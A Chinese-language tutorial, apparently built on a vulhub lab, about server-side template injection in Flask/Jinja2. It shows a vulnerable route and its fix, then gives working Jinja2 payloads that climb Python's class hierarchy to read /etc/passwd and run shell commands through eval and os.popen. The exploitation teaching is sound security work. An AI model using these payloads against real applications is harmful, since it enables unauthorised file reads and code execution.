#flask Flask 是一個 web 框架。也就是說 Flask 爲你提供工具,庫和技術來容許你構建一個 web 應用程序。這個 wdb 應用程序可使一些 web 頁面、博客、wiki、基於 web 的日曆應用或商業網站。 Flask 屬於微框架(micro-framework)這一類別,微架構一般是很小的不依賴於外部庫的框架。這既有優勢也有缺點,優勢是框架很輕量,更新時依賴少,而且專一安全方面的 bug,缺點是,你不得不本身作更多的工做,或經過添加插件增長本身的依賴列表。Flask 的依賴以下:html
- Werkzeug 一個 WSGI 工具包
- jinja2 模板引擎
Flask簡單易學,下面是Flask版的hello world(hello.py):python
from flask import Flask app = Flask(__name__) @app.route("/") def hello(): return "Hello World!" if __name__ == "__main__": app.run()
安裝flask便可運行了:web
$ pip install Flask $ python hello.py * Running on http://localhost:5000/ *flask默認端口是5000
#Jinja 2flask
- Jinja 2是一種面向Python的現代和設計友好的模板語言,它是以Django的模板爲模型的
- Jinja2 是 Flask 框架的一部分。Jinja2 會把模板參數提供的相應的值替換了 {{…}} 塊
- Jinja2 模板一樣支持控制語句,像在 {%…%} 塊中
{# This is jinja code # 控制結構 {% for file in filenames %} # 取值 {{ file }} {% endfor %} #}
Demo安全
from jinja2 import Template t=Template('{% for i in range(10) %}{{ i }}{% endfor %}') print t.render()
#漏洞原理 先進入容器看一下web服務的代碼 bash
from flask import Flask, request from jinja2 import Template app = Flask(__name__) @app.route("/") def index(): name = request.args.get('name', 'guest') t = Template("Hello " + name) return t.render() if __name__ == "__main__": app.run()
看到Template("Hello " +name),Template()徹底可控,那麼就能夠直接寫入jinja2的模板語言,如 架構
固然發送這種狀況不能由jinja2背鍋,這徹底是開發人員的編碼不當,若我修改以下app
from flask import Flask, request from jinja2 import Template app = Flask(__name__) @app.route("/safe") def safe(): name = request.args.get('name', 'guest') t = Template("Hello {{n}}") return t.render(n=name) if __name__ == "__main__": app.run()
就不存在模板注入 框架
#Jinja2 的模板中執行 Python 代碼 在jinja2中是能夠直接訪問python的一些對象及其方法的,如 字符串對象及其upper函數,列表對象及其count函數,字典對象及其has_key函數 ide
那麼如何在 Jinja2 的模板中執行 Python 代碼呢?如官方的說法是須要在模板環境中註冊函數才能在模板中進行調用,例如想要在模板中直接調用內置模塊os,即須要在模板環境中對其註冊 那麼,如何在未註冊OS模塊的狀況下在模板中調用popen()函數執行系統命令呢?前面已經說了,在 Jinja2 中模板可以訪問 Python 中的內置變量而且能夠調用對應變量類型下的方法,用到常見的 Python 沙盒環境逃逸方法
#利用 Python 特性
- __bases__ 以元組返回一個類直接所繼承的類
- __mro__ 以元組返回繼承關係鏈
- __class__ 返回對象所屬的類
- __globals__ 以dict返回函數所在模塊命名空間中的全部變量
- __subclasses__() 以列表返回類的子類
- _builtin_ 內建函數,python中能夠直接運行一些函數,例如int(),list()等等,這些函數能夠在__builtins__中能夠查到。查看的方法是dir(__builtins__) ps:在py3中__builtin__被換成了builtin __builtin__ 和 __builtins__之間是什麼關係呢?
- 在主模塊main中,__builtins__是對內建模塊__builtin__自己的引用,即__builtins__徹底等價於__builtin__,兩者徹底是一個東西,不分彼此。
- 非主模塊main中,__builtins__僅是對__builtin__.__dict__的引用,而非__builtin__自己
##用file對象讀取文件 不能像字符串對象,列表對象那樣直接引用(''
[]
),那如何拿到file對象呢?就用上面給的屬性和方法,如
for c in {}.__class__.__base__.__subclasses__(): if(c.__name__=='file'): print(c) print c('test.txt').readlines()
該代碼從列表對象獲取其類,再取基類(object),再取object的全部子類,從子類中尋找file類,若是找到就使用其構造方法建立對象後再用readlines讀取文件內容
用jinja2語法就是
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='file' %} {{"find!"}} {{ c("/etc/passwd").readlines() }} {% endif %} {% endfor %}
在本機測試沒有問題,可是在這個doker容器裏不知道爲何找不見file類
emmm,經測試發如今python3中並無file類,因此上述讀取文件的方法只適用於python2
那麼就有必要找到python2/3通用的方法,就直接找eval,有了這個還有什麼不能作
##尋找__builtins__獲得eval
for c in ().__class__.__bases__[0].__subclasses__(): try: if '__builtins__' in c.__init__.__globals__.keys(): print(c.name) except: pass
找到了一個python2/3都有__builtins__的類 _IterationGuard
因而python2/3通用的執行任意代碼
for c in ().__class__.__bases__[0].__subclasses__(): if c.__name__=='_IterationGuard': c.__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
用jinja的語法即爲(執行命令使用os.popen('whoami').read()纔有執行結果的回顯)
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='_IterationGuard' %} {{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }} {% endif %} {% endfor %}
我本機上存在中文編碼的問題,因此命令執行結果帶中文的話會出錯,因此就用echo l3yx展現下執行命令的效果
##直接從globals中尋找eval 原理和上面大同小異,vulhub的文檔中用的就是這種 payload
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("id").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
參考: Server-Side Template Injection 利用 Python 特性在 Jinja2 模板中執行任意代碼 用python繼承鏈搞事情 (膜 Orz)